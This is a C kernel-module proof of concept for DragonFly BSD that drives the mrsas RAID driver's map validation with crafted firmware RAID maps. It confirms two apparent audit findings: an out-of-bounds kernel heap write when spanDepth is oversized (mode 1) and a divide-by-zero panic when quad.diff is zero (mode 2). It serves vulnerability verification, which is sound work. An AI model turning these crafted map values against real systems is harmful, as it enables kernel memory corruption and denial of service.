DF-4330 / fp_probe.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 | /* * fp_probe.c - DF-4330 / DF-4331 verification probe (DragonFly 6.x, x86_64). * * Compiles the UNMODIFIED kernel source sys/dev/raid/mrsas/mrsas_fp.c into * this KLD (symbols renamed via rename.h) and drives the real * MR_ValidateMapInfo() - the exact entry the mrsas driver calls at attach * (mrsas.c:1762) and on every AEN RAID-map update (mrsas.c:2961) - with a * firmware-shaped MR_FW_RAID_MAP, using a real struct mrsas_softc allocated * with a guard page of 0xAA bytes placed directly behind sc->log_to_span[] * (log_to_span is the LAST member of mrsas_softc, mrsas.h:2424). * * Modes (sysctl hw.fp_probe_run=<mode>, root): * 0 - benign map : expect MR_ValidateMapInfo == 0, guard intact * 1 - spanDepth=64 : expect MR_ValidateMapInfo == 0 (only totalSize is * checked!) and OOB WRITE past the end of * sc->log_to_span[64] into the guard (DF-4330) * 2 - quad.diff=0 : expect kernel #DE divide-by-zero panic inside * mr_update_span_set() (DF-4331) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/systm.h> #include <sys/errno.h> #include <sys/module.h> #include <sys/types.h> #include <sys/bus.h> #include <dev/raid/mrsas/mrsas.h> /* provided by the embedded mrsas_fp.c (renamed) */ extern u_int8_t probe_MR_ValidateMapInfo(struct mrsas_softc *sc); static MALLOC_DEFINE(M_FP_PROBE, "fp_probe", "DF-4330/4331 probe buffers"); #define GUARD 4096 #define SLACK (256 * 1024) static struct mrsas_softc *probe_sc; static MR_FW_RAID_MAP_ALL *probe_map; static void fp_map_craft(int mode) { MR_FW_RAID_MAP *fw = &probe_map->raidMap; /* pointer view of the ldSpanMap extension array (raidMap.ldSpanMap[1] * + MR_FW_RAID_MAP_ALL.ldSpanMap[63] are contiguous; the driver itself * indexes raidMap.ldSpanMap[ld] with runtime ld) */ MR_LD_SPAN_MAP *ldm = (MR_LD_SPAN_MAP *)(void *)&fw->ldSpanMap[0]; int span, q; /* Consistent with the driver's only validation (mrsas_fp.c:257-265): * totalSize == sizeof(MR_FW_RAID_MAP) - sizeof(MR_LD_SPAN_MAP) * + sizeof(MR_LD_SPAN_MAP) * ldCount */ fw->ldCount = 1; fw->totalSize = sizeof(MR_FW_RAID_MAP) - sizeof(MR_LD_SPAN_MAP) + sizeof(MR_LD_SPAN_MAP) * fw->ldCount; /* real firmware fills absent entries with 0xFF (mrsas.h comment at * ldTgtIdToLd); a zeroed entry would claim LD0 exists */ memset(fw->ldTgtIdToLd, 0xFF, sizeof(fw->ldTgtIdToLd)); fw->ldTgtIdToLd[63] = 63; /* expose LD #63 */ if (mode == 0) { /* benign, plausible RAID5 map */ MR_LD_RAID *r = &ldm[63].ldRaid; r->spanDepth = 2; r->level = 5; r->stripeShift = 0; r->rowSize = 3; r->rowDataSize = 2; r->modFactor = 2; for (span = 0; span < 2; span++) { MR_SPAN_BLOCK_INFO *sb = &ldm[63].spanBlock[span]; sb->block_span_info.noElements = 1; sb->block_span_info.quad[0].logStart = 0; sb->block_span_info.quad[0].logEnd = 0x1000000ULL; sb->block_span_info.quad[0].offsetInSpan = 0; sb->block_span_info.quad[0].diff = 64; sb->span.spanRowSize = 3; sb->span.spanRowDataSize = 2; } } else if (mode == 1) { /* DF-4330: spanDepth (fw u8) far above MAX_RAIDMAP_SPAN_DEPTH(8) * drives the strip_offset[count] write loop in * mr_update_span_set() (mrsas_fp.c:949-959) out of bounds. */ MR_LD_RAID *r = &ldm[63].ldRaid; r->spanDepth = 64; /* > MAX_SPAN_DEPTH */ r->level = 5; r->stripeShift = 0; r->rowSize = 3; r->rowDataSize = 2; r->modFactor = 2; for (span = 0; span < MAX_SPAN_DEPTH; span++) { MR_SPAN_BLOCK_INFO *sb = &ldm[63].spanBlock[span]; sb->block_span_info.noElements = MAX_QUAD_DEPTH; sb->span.spanRowSize = 3; sb->span.spanRowDataSize = 1; /* width += 1 per span */ for (q = 0; q < MAX_QUAD_DEPTH; q++) { sb->block_span_info.quad[q].logStart = 0; sb->block_span_info.quad[q].logEnd = ~0ULL; sb->block_span_info.quad[q].offsetInSpan = 0; sb->block_span_info.quad[q].diff = 64; } } /* Deterministic filler for the OOB READS of * ldSpanMap[63].spanBlock[8..63] (DF-1528 class): every * noElements u32 read back as 0x01010101 (>= element+1) and * every spanRowDataSize u8 read back as 0x01. */ memset((u_int8_t *)probe_map + sizeof(MR_FW_RAID_MAP_ALL), 0x01, SLACK); } else { /* DF-4331: quad->diff == 0 reaches the unguarded division at * mrsas_fp.c:969 (mr_update_span_set) -> #DE panic. */ MR_LD_RAID *r = &ldm[63].ldRaid; r->spanDepth = 1; r->level = 5; r->stripeShift = 0; r->rowSize = 3; r->rowDataSize = 2; r->modFactor = 2; ldm[63].spanBlock[0].block_span_info.noElements = 1; ldm[63].spanBlock[0].block_span_info.quad[0].logStart = 0; ldm[63].spanBlock[0].block_span_info.quad[0].logEnd = 0x1000000ULL; ldm[63].spanBlock[0].block_span_info.quad[0].offsetInSpan = 0; ldm[63].spanBlock[0].block_span_info.quad[0].diff = 0; /* ! */ } } static int fp_probe_run(SYSCTL_HANDLER_ARGS) { int error, t = 0, rv; size_t span_sz = MAX_LOGICAL_DRIVES * sizeof(LD_SPAN_INFO); long clobbered = 0, first_off = -1, i; u_int8_t *body; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return (error); /* softc with a 0xAA guard right behind its last member log_to_span */ probe_sc = kmalloc(sizeof(struct mrsas_softc) + GUARD, M_FP_PROBE, M_WAITOK | M_ZERO); probe_map = kmalloc(sizeof(MR_FW_RAID_MAP_ALL) + SLACK, M_FP_PROBE, M_WAITOK | M_ZERO); body = (u_int8_t *)probe_sc; memset(body + sizeof(struct mrsas_softc), 0xAA, GUARD); probe_sc->mrsas_debug = 0; /* silence mrsas_dprint */ /* give device_printf() a real device (the driver's softc always has one) */ { devclass_t dc = devclass_find("nexus"); if (dc != NULL) { device_t d = devclass_get_device(dc, 0); if (d != NULL) probe_sc->mrsas_dev = d; } } probe_sc->UnevenSpanSupport = 1; /* mrsas.c:1757-1762 gate */ probe_sc->map_id = 0; probe_sc->raidmap_mem[0] = probe_map; kprintf("fp_probe: mode=%d sizeof(softc)=%zu sizeof(LD_SPAN_SET)=%zu " "sizeof(log_to_span)=%zu softc_end=%p guard=%p..%p\n", t, sizeof(struct mrsas_softc), sizeof(LD_SPAN_SET), span_sz, body + sizeof(struct mrsas_softc), body + sizeof(struct mrsas_softc), body + sizeof(struct mrsas_softc) + GUARD); fp_map_craft(t); kprintf("fp_probe: calling real MR_ValidateMapInfo() " "(spanDepth=%d quad[0].diff=%u) ...\n", ((MR_LD_SPAN_MAP *)(void *)&probe_map->raidMap.ldSpanMap[0])[63].ldRaid.spanDepth, ((MR_LD_SPAN_MAP *)(void *)&probe_map->raidMap.ldSpanMap[0])[63].spanBlock[0].block_span_info.quad[0].diff); rv = probe_MR_ValidateMapInfo(probe_sc); kprintf("fp_probe: MR_ValidateMapInfo returned %d " "(0 == map accepted, spansets built)\n", rv); for (i = 0; i < GUARD; i++) { if (body[sizeof(struct mrsas_softc) + i] != 0xAA) { clobbered++; if (first_off < 0) { kprintf("fp_probe: *** DF-4330 CONFIRMED: OOB WRITE past " "end of sc->log_to_span[%d] (last softc member): " "first clobbered byte at +%ld = 0x%02x\n", MAX_LOGICAL_DRIVES, i, body[sizeof(struct mrsas_softc) + i]); } } } kprintf("fp_probe: guard integrity: %ld/%d bytes clobbered past softc end\n", clobbered, GUARD); if (t == 0 && rv == 0 && clobbered == 0) kprintf("fp_probe: sanity OK (benign map accepted, no corruption)\n"); kfree(probe_sc, M_FP_PROBE); kfree(probe_map, M_FP_PROBE); probe_sc = NULL; probe_map = NULL; return (0); } SYSCTL_PROC(_hw, OID_AUTO, fp_probe_run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, fp_probe_run, "I", "run mrsas FP probe mode 0|1|2"); |